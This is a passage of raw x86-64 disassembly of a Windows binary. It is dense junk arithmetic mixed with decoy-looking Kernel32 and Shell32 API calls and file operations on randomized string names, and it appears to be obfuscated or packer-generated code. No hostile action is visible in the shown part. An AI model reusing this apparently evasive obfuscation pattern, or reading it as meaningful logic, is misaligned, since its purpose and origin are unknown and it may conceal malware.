movsx ecx, byte [rsp + 0x36d]
sar eax, cl
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
movzx eax, word [0x14027d394]
movzx ecx, word [rsp + 0x2bf4]
add eax, ecx
mov word [rsp + 0x2ac0], ax
mov eax, dword [rsp + 0x92ac]
sub eax, 0x2b
mov dword [rsp + 0x92ac], eax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c4158]
mov word [rcx], ax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x595]
and eax, ecx
mov byte [rsp + 0x59d], al
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [rsp + 0x25b8], ax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [0x14027d37c]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9320]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92fc], eax
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf4]
or eax, ecx
mov word [rsp + 0x2190], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x59b], al
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x113d8]
sar rax, cl
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9328], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x129f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x113d8], rax
jmp 0x14001f519
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x12980]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x11420], rax
movzx ecx, word [rsp + 0x2bfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [rsp + 0x932c], al
cmp byte [rsp + 0x932c], 0x39
je 0x14001f817
jmp 0x14001f850
mov edx, 0x23
mov rcx, qword [rsp + 0x12a58]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x9330], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bf0]
add eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
jmp 0x14001f8aa
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
add eax, ecx
mov byte [rsp + 0x1c5], al
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9244], eax
mov eax, dword [rsp + 0x9220]
mov ecx, dword [0x14027d388]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12958]
mov dword [rcx], eax
mov eax, dword [rsp + 0x928c]
mov dword [rsp + 0x9334], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [0x1402c4152], al
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov word [rsp + 0x2c04], ax
movsx eax, word [rsp + 0x1400]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12a48]
mov rdx, qword [rsp + 0x12930]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1402308ba
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov dword [rsp + 0x9338], eax
cmp dword [rsp + 0x9338], 0x6ef
je 0x14001f98c
jmp 0x14001f9e6
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59d], al
mov rax, qword [0x1402c4180]
mov rcx, qword [rsp + 0x129a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92d4], eax
jmp 0x1402307ac
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7774], eax
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x129c8]
movzx eax, byte [rax]
mov byte [rsp + 0x933c], al
cmp byte [rsp + 0x933c], 0x51
je 0x14001fa3a
jmp 0x14001fa6d
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
and eax, ecx
mov word [0x14027d38c], ax
mov rcx, qword [rsp + 0x129d8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x8d74], eax
jmp 0x14001fab4
lea rcx, [rsp + 0x29890]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x392]
mov byte [rsp + 0x59f], al
movsx eax, word [rsp + 0x2800]
mov dword [rsp + 0x9340], eax
cmp dword [rsp + 0x9340], 0
je 0x14001fae3
cmp dword [rsp + 0x9340], 0xae
je 0x14001fbec
jmp 0x14001fc81
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
xor eax, ecx
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
mov dword [rsp + 0x9344], ecx
movzx edx, byte [rsp + 0x59e]
movzx ecx, dl
mov edx, dword [rsp + 0x9344]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001fb9d
movzx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, str.H4j3cKqUU.ToqRkKjD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c00], ax
mov rcx, qword [rsp + 0x12860]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x128a8]
movzx eax, word [rax]
mov word [rsp + 0x2c08], ax
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9348], eax
jmp 0x14001fbe7
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rsp + 0x9320]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x9230]
mov rdx, qword [rsp + 0x12958]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x14001fbe7
mov rax, qword [rsp + 0xefa8]
mov rcx, qword [rsp + 0x12890]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
jmp 0x14001fc81
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9334]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x129b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bf8]
movzx ecx, word [0x14027d394]
add eax, ecx
mov word [rsp + 0x2568], ax
lea r8, [rsp + 0x129c0]
mov rdx, qword [rsp + 0x128b8]
mov rcx, qword [rsp + 0x12a60]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x12a68], rax
movzx r8d, byte [rsp + 0x36d]
movzx edx, byte [rsp + 0x598]
mov rcx, qword [rsp + 0x12968]
call fcn.140231c40
movzx ecx, word [rsp + 0x2bfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bfc], ax
movsx eax, word [rsp + 0x2c08]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d398], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.wSrLZ34zQy1CkpR19mSwNtI2XtDyg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12a70], rax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov eax, dword [rsp + 0x92fc]
movzx ecx, al
mov eax, dword [rsp + 0x92e8]
shl eax, cl
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x91fc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x129b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12968], rax
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9254], eax
movzx eax, byte [rsp + 0x59e]
movzx ecx, byte [rsp + 0x59b]
sar eax, cl
mov byte [rsp + 0x597], al
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x1380]
sub eax, ecx
mov word [0x14027d37c], ax
movsx eax, byte [0x1402c418c]
movsx ecx, byte [rsp + 0x549]
add eax, ecx
mov rcx, qword [rsp + 0x129c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2ac0]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12980]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov edx, 0x72e4fb
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9234], eax
lea rdx, [rsp + 0x934c]
mov rcx, qword [rsp + 0x12a70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov eax, dword [rsp + 0x92e8]
mov ecx, dword [rsp + 0x92d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x12958]
mov ecx, dword [0x14027d388]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91fc], eax
lea rdx, [rsp + 0x12910]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9318], eax
movzx eax, word [rsp + 0x2bd8]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov eax, dword [rsp + 0x92cc]
add eax, 0x30
mov dword [rsp + 0x92cc], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1380]
add eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12980], rax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25b8]
or eax, ecx
mov word [rsp + 0x2bc8], ax
mov edx, 0x704173
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9244], eax
cmp dword [rsp + 0x92cc], 0x92ed
jb 0x14001fd2e
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ac0], ax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x598]
mov dword [rsp + 0x9350], ecx
movsx edx, byte [0x1402c418c]
movzx ecx, dl
mov edx, dword [rsp + 0x9350]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140020174
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x597]
and eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x9354], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12a78], rax
mov rax, qword [rsp + 0x127d8]
mov rcx, qword [rsp + 0x127c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x129a0], rax
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127d8]
mov rdx, qword [rsp + 0x127c0]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140020174
mov eax, dword [rsp + 0x7774]
mov dword [rsp + 0x9358], eax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [0x14027d038]
add eax, ecx
mov byte [rsp + 0x59c], al
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2190]
sub eax, ecx
mov word [0x14027d39c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, byte [rsp + 0x59b]
mov byte [rsp + 0x5a0], al
mov qword [rsp + 0x20], 0
mov r9d, 0xcba
mov r8d, 0x3246
mov edx, 0xfc
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9314], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.lC8QXYK0utZaIQ8RnSWjEvR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12a80], rax
mov rax, qword [rsp + 0x129b0]
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12958]
mov edx, dword [rsp + 0x9220]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x1400202c9
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1402c4168]
shl rax, cl
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12980]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x12890]
mov rcx, qword [rsp + 0xefa8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x129b0]
mov qword [rsp + 0x12a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8d74], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rax]
call fcn.140231c00
movsx eax, word [rsp + 0x1d4c]
mov dword [rsp + 0x935c], eax
cmp dword [rsp + 0x935c], 0x2c1
je 0x1400202e7
jmp 0x140020348
lea r8, [rsp + 0x2be8]
mov rdx, qword [rsp + 0x12a90]
mov ecx, 0x46
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x9360], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x129a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x128c8], rax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x596], al
jmp 0x1402306f7
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x9354]
mov dword [rsp + 0x9364], eax
cmp dword [rsp + 0x9364], 0
je 0x140020402
cmp dword [rsp + 0x9364], 0xba9
je 0x140020392
jmp 0x1402306de
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x36d]
add eax, ecx
mov byte [rsp + 0x549], al
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x12810], rax
mov dword [rsp + 0x20], 0x4d
lea r9, [rsp + 0x129c8]
lea r8, [rsp + 0x12a30]
mov edx, 0x53
mov rcx, qword [rsp + 0x128c0]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x9220], eax
jmp 0x1402306de
movsx eax, word [rsp + 0x1400]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x29dc], ax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
or eax, ecx
movsx ecx, byte [rsp + 0x36d]
mov dword [rsp + 0x9368], ecx
movsx edx, byte [rsp + 0x549]
movzx ecx, dl
mov edx, dword [rsp + 0x9368]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140020575
lea rcx, [rsp + 0x28360]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov word [0x14027d39c], ax
movzx eax, byte [rsp + 0x599]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18c], al
movzx eax, word [0x14027d394]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, word [rsp + 0x2c08]
mov word [rsp + 0x2c0c], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x92b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov dword [rsp + 0x936c], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
and eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x597]
imul eax, ecx
mov byte [rsp + 0x3c1], al
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c10], ax
jmp 0x14002060c
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c08]
add eax, ecx
mov rcx, qword [0x1402c4158]
mov word [rcx], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x12a48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x129f8]
mov qword [rsp + 0x12a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12a98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x128c8], rax
call fcn.140231a50
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x129c8]
movzx eax, byte [rax]
mov byte [rsp + 0x5a1], al
mov eax, dword [rsp + 0x9230]
mov rcx, qword [rsp + 0x12958]
mov qword [rsp + 0x12aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12aa0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12aa8], rax
mov rcx, qword [rsp + 0x12960]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x929c], eax
mov eax, dword [0x14027d384]
mov ecx, dword [rsp + 0x9200]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
movzx eax, word [rsp + 0x1400]
mov word [0x1402c4150], ax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c4160]
add eax, ecx
mov byte [rsp + 0x24c], al
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c14], ax
mov edx, 0x379e2f
mov rcx, qword [rsp + 0x12a80]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9318], eax
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov word [rsp + 0x2c18], ax
mov rax, qword [rsp + 0x129b0]
mov rcx, qword [rsp + 0x12958]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91fc], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x92b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12ab0], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
movsx eax, word [rsp + 0x29dc]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c4150], ax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x59d]
and eax, ecx
mov byte [rsp + 0x27f], al
movzx eax, word [rsp + 0x2190]
imul eax, eax, 0x43c
mov word [rsp + 0x2010], ax
movsx eax, byte [rsp + 0x598]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x10f18]
mov qword [rsp + 0x12ab8], rax
mov eax, dword [rsp + 0x9358]
mov rcx, qword [rsp + 0x129f0]
mov qword [rsp + 0x12ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12ac0]
mov eax, dword [rax]
shr eax, cl
mov ecx, dword [0x14027d388]
mov rdx, qword [rsp + 0x129b0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140020965
lea rdx, [rsp + 0x936c]
mov rcx, qword [rsp + 0x12878]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x9370], eax
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12aa8], rax
mov eax, dword [rsp + 0x936c]
mov ecx, dword [rsp + 0x9358]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [0x1402c4188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9334], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
add eax, ecx
mov word [rsp + 0x2bf4], ax
movsx eax, word [rsp + 0x1380]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d398], ax
xor r8d, r8d
lea rdx, [rsp + 0x12ac8]
lea rcx, [rsp + 0x12ad0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x12ad8], rax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24c]
add eax, ecx
mov rcx, qword [rsp + 0x12950]
mov byte [rcx], al
jmp 0x140020a3c
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x128c8]
mov rdx, qword [rsp + 0x113d8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140020a3c
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov qword [rsp + 0x12ae0], rax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be0], ax
lea rax, [rsp + 0x127d8]
mov qword [rsp + 0x12ae8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0x91dc]
